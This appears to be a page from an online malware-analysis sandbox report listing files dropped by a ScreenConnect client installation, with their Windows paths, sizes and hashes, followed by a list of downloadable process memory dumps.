SSDEEP 192:/8/Qp6lCJuV3j7XtyVNamVNG1YZfCrMmbfHJ7kjvLqbuLd9NEFbEC/T:0/cBJanXt2NaheUrMmb/FkjvLqbuZrCr
TLSH
T1A432D50077DC673AE8BE0F78DAB762910A71EB64A011DF2E1CCC91569C367449EA07A7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Windows.dll

Path C:\Windows\Installer\MSI32FD.tmp-\ScreenConnect.Windows.dll
Size 1.6MB
SHA256 f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6
MD5 27d7995501d37a65912643493ec8f2c5
SHA1 3d3f37be1ff47568cf8b7ae3f28ceabbcdc1b009
SHA512 73751b468c82a2e77852932528946fdfbceae7cafc4175fd0d6d7d50771c78be4de0e916b226b0209beae067698a2355dfa656e3381f337778a5314a769f3057
SSDEEP 24576:yDtFj+Ifz3zvnXj/zXzvAAkGz8mvgtX79S+2bfh+RfmT01krTFiH4SqfKPTsUTHs:yDtJkGYYpT0+TFiH7efP
TLSH
T1BA85BD41E2D364F5D46B047888BF571ABA743C040325CAFB97D4AE3A6D33BC09A36796
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSI3754.tmp

Path C:\Windows\Installer\MSI3754.tmp
Size 202KB
SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
MD5 ba84dd4e0c1408828ccc1de09f585eda
SHA1 e8e10065d479f8f591b9885ea8487bc673301298
SHA512 7a38418f6ee8dbc66fab2cd5ad8e033e761912efc465daa484858d451da4b8576079fe90fd3b6640410edc8b3cac31c57719898134f246f4000d60a252d88290
SSDEEP 3072:X9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG:XuH2aCGw1ST1wQLdqv
TLSH
T129147C326494803EE7F91A36D93E9A61AE7DF6241760C99EC3848C0E5D604D06BF7B27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0qb2iihv.newcfg

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\0qb2iihv.newcfg
Size 558B
SHA256 4ec24c4da249b50fead62be75c66f786ba3511bbdefc66f161089b473099f132
MD5 497e4a7312c137e5ad1f8189e8af3af7
SHA1 ccbab4b6c54315c3d5152fb8e52231dbb70ee8d2
SHA512 55f196c9b3746defe7b4e7b67b775bdd143fe99bb52ea94eb72220c348598aa6579f9b83a6df30c0253cc6e6f587ef7f561943a91e5ee91d0d6555e826028621
TLSH
T148F024A630C0AE5A0BB36E33C5128745EE721B9B1465209874AF61379F301DB07A31DB
MD5 SHA1 SHA512 TLSH

Submit Download

2khzdjjp.newcfg

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\2khzdjjp.newcfg
Size 558B
SHA256 742a3ec6930503e00ccde9895e66641222b03e5eb81e22fe2c3b6d910c19dffe
MD5 117f004c870b88101a31214e965bc10f
SHA1 7023f235c86ad94527d527af4e8c4ac3bcd4b229
SHA512 f89306e7042afda6e49f4487c4b67bfaf698d64b349df484362fc975523829518b51720e8df8f9f56d60a2171d64db1c318cdd2d8c00680d0f2f51eb2ff20128
TLSH
T108F024A53084AE5A0BB32E33C5124741EE721B9B1465209874AF61379F305DB07A31DB
MD5 SHA1 SHA512 TLSH

Submit Download

azmp20dj.newcfg

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\azmp20dj.newcfg
Size 558B
SHA256 692e89bac5ec19418990a1aeb81b51be253e504ffea48bf304bdb217ef120ea5
MD5 5964aeb35c409151c0b72be5fa0186f8
SHA1 c192fd9613b395aab11bf6afc47650a1a9cb23d4
SHA512 eb088eb05c514dc888fa24826fcce293057edc16a337452958c77284f3261ef8516977f039dc4aa3bf2a8cdacc80bf7c8d285980b03f81098565565a93368ed0
TLSH
T1F3F059A630C0AE5A07B32E33C5124741EE721B9B0425209874AF61379F305DF07A31DF
MD5 SHA1 SHA512 TLSH

Submit Download

jow2hpbi.newcfg

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\jow2hpbi.newcfg
Size 558B
SHA256 01d2eeb667ce012b02cb186e692154570f8a2fc0b990697f0a13480b0d86e82f
MD5 b8d7d15754cf8c06f34202e3fbb29ba6
SHA1 e813930245bfdf1dd9c9666e0cb9314a3e779e46
SHA512 c7e2db212be75fe8b1ba66045486c60bffb2739a4bc166bc6195b53a4b0f67ab3abd5c1bed022f1b5c11495ab98696f46f50d5eaba708269c744e8fcaf2cd4c2
TLSH
T19CF024A53084AE5A07B36E33C5124741EE725B9B0425209874AF61379F305DB07A31DB
MD5 SHA1 SHA512 TLSH

Submit Download

naxfkgcn.newcfg

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\naxfkgcn.newcfg
Size 558B
SHA256 47ef1c61279be067c0ba1cb901c08f50028e13ae1abdaa6bbc974fb63779b2e7
MD5 40a554366500e3aebb8fb12f89854ed5
SHA1 3450b2f6cd1478215a0c6aee775aa5dcec8b78dc
SHA512 1f5cf2ce057c5efd30ddbbc448f0e36f11a991dae191d86be14b1e0711c90903b099e4277a350506d900d8ec7bdf6d2f6923b27ea0587f811fa739550617c863
TLSH
T15BF024A93080AE5A07B32E33C5124741EE721B9B1565209874AF613B9F301DB07A31DB
MD5 SHA1 SHA512 TLSH

Submit Download

user.config

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\user.config
Size 558B
SHA256 147555b020cbd8bdc28e0042805bc0f4147b56a32f46bf0d4b874f4638cc7e36
MD5 0198fbe6253684bcfddeaf6a25efde32
SHA1 01bcfe385ab1feb3be2c95ddbe7b37106dd3ff46
SHA512 4dceffc21aee335f08a8df52feffc6b6ec7dd6e5986dc6737bf3bd62583605300aec0c4ac6a5d8964d3a35eb867f8398d90e3f13323a25f2843ffd75d5bdc769
TLSH
T10AF059A530C0AE5A07B32E33C5124741EE722B9B1465209874AF61379F301DF07A31DF
MD5 SHA1 SHA512 TLSH

Submit Download

logo.png

Path C:\Windows\Temp\{D875ACD4-B1DD-45A6-885B-357DF08CE490}\.ba\logo.png
Size 1KB
SHA256 335a256d4779ec5dcf283d007fb56fd8211bbcaf47dcd70fe60ded6a112744ef
MD5 d6bd210f227442b3362493d046cea233
SHA1 ff286ac8370fc655aea0ef35e9cf0bfcb6d698de
SHA512 464aaab9e08de610ad34b97d4076e92dc04c2cdc6669f60bfc50f0f9ce5d71c31b8943bd84cee1a04fb9ab5bbed3442bd41d9cb21a0dd170ea97c463e1ce2b5b
TLSH
T1CF312CF34748B7A7D30581351471819AD242FFD8F9CE291E35CD5307664018115C75CF
MD5 SHA1 SHA512 TLSH

Submit Download

wixstdba.dll

Path C:\Windows\Temp\{D875ACD4-B1DD-45A6-885B-357DF08CE490}\.ba\wixstdba.dll
Size 215KB
SHA256 e921f69b9fb4b5ad4691809d06896c5f1d655ab75e0ce94a372319c243c56d4e
MD5 f68f43f809840328f4e993a54b0d5e62
SHA1 01da48ce6c81df4835b4c2eca7e1d447be893d39
SHA512 a7a799ecf1784fb5e8cd7191bf78b510ff5b07db07363388d7b32ed21f4fddc09e34d1160113395f728c0f4e57d13768a0350dbdb207d9224337d2153dc791e1
SSDEEP 6144:K6EZdi6e93SuDeTKZxQfsRy26BqbUHYJe:K62i6eNSYeuZ2sRDK
TLSH
T15E24AF12B5D0907AEBFB19305939E5216DBDBA210FA0C9CE5348AD2B2E705C1DB36737
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vc_redist.x64.exe

Path C:\Windows\Temp\{D9BFA6CC-AD3F-4A1C-9E62-104BE331AC95}\.cr\vc_redist.x64.exe
Size 670KB
SHA256 568c9ba533624084ea18f7a562b4aa2249ed4e41281524a061a0d0b1008cf6bd
MD5 bc9c8a6a42e8d3ea18f8da78d5031820
SHA1 07812a4b945364d04627363e46ab38de188281b3
SHA512 b583f41b8f9cbb2b04e4c7403b54241bf4c51caefdb0bbe9184202dc615f599b496d65f6d36984b75f9b9003289c0c13066dc1e6eb294f9139248595114b4f73
SSDEEP 12288:n3mgqnIZuYfCYqFet4CovkM7x61nE4rfDDIcbMZ3Mya:n3WnIZuMCxezot7MhbfDBMZ8ya
TLSH
T10DE49E32A5604033F7F10573B928A6303E7CE3282B51C9A9D7D4AD1D7EB4892A7F7256
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3848-169-0x0000000003EC0000-0x0000000003F10000-memory.dmp

Download

memory/3848-176-0x00000000040D0000-0x0000000004106000-memory.dmp

Download

memory/3848-156-0x00000000015F0000-0x0000000001608000-memory.dmp

Download

memory/3848-185-0x0000000004110000-0x0000000004151000-memory.dmp

Download

memory/3848-187-0x00000000043A0000-0x0000000004475000-memory.dmp

Download

memory/3848-182-0x00000000041B0000-0x0000000004242000-memory.dmp

Download

memory/4396-117-0x0000000005F40000-0x00000000060EC000-memory.dmp

Download

memory/4396-105-0x0000000003B80000-0x0000000003BAE000-memory.dmp

Download

memory/4396-109-0x0000000003BB0000-0x0000000003BBA000-memory.dmp

Download

memory/4396-113-0x0000000003C60000-0x0000000003CEE000-memory.dmp

Download

memory/4396-118-0x00000000066B0000-0x0000000006C6A000-memory.dmp

Download

memory/5148-199-0x000000001B440000-0x000000001B5EC000-memory.dmp

Download

memory/5148-198-0x000000001B200000-0x000000001B28E000-memory.dmp

Download

memory/5148-200-0x000000001B780000-0x000000001B908000-memory.dmp

Download

memory/5148-201-0x00000000023B0000-0x00000000023C8000-memory.dmp

Download

memory/5148-196-0x00000000001F0000-0x0000000000288000-memory.dmp

Download

memory/5148-197-0x0000000002400000-0x0000000002436000-memory.dmp

Download

memory/5148-202-0x0000000002440000-0x0000000002458000-memory.dmp

Download

memory/5828-256-0x000000000C990000-0x000000000C9D0000-memory.dmp

Download

memory/5828-10-0x000000000B710000-0x000000000C350000-memory.dmp

Download

memory/5828-19-0x0000000008840000-0x0000000008890000-memory.dmp

Download

memory/5828-237-0x000000000AA80000-0x000000000AAA0000-memory.dmp

Download

memory/5828-241-0x000000000AA80000-0x000000000AAA0000-memory.dmp

Download

memory/5828-14-0x000000000B710000-0x000000000C350000-memory.dmp

Download

memory/5828-42-0x000000000A9A0000-0x000000000A9C0000-memory.dmp

Download

memory/5828-28-0x000000000A920000-0x000000000A950000-memory.dmp

Download

memory/5828-32-0x000000000A920000-0x000000000A950000-memory.dmp

Download

memory/5828-38-0x000000000A9A0000-0x000000000A9C0000-memory.dmp

Download

memory/5828-33-0x000000000A8D0000-0x000000000A8F0000-memory.dmp

Download

memory/5828-242-0x000000000CCA0000-0x000000000CF40000-memory.dmp

Download

memory/5828-246-0x000000000CCA0000-0x000000000CF40000-memory.dmp

Download

memory/5828-37-0x000000000A8D0000-0x000000000A8F0000-memory.dmp

Download

memory/5828-5-0x0000000007A40000-0x0000000008640000-memory.dmp

Download

memory/5828-251-0x000000000C950000-0x000000000C970000-memory.dmp

Download

memory/5828-261-0x000000000C9D0000-0x000000000C9F0000-memory.dmp

Download

memory/5828-20-0x0000000006DD0000-0x0000000006DE0000-memory.dmp

Download

memory/5828-257-0x000000000C9D0000-0x000000000C9F0000-memory.dmp

Download

memory/5828-24-0x0000000006DD0000-0x0000000006DE0000-memory.dmp

Download

memory/5828-15-0x0000000008840000-0x0000000008890000-memory.dmp

Download

memory/5828-9-0x0000000007A40000-0x0000000008640000-memory.dmp

Download

memory/5828-252-0x000000000C990000-0x000000000C9D0000-memory.dmp

Download

memory/5828-247-0x000000000C950000-0x000000000C970000-memory.dmp

Download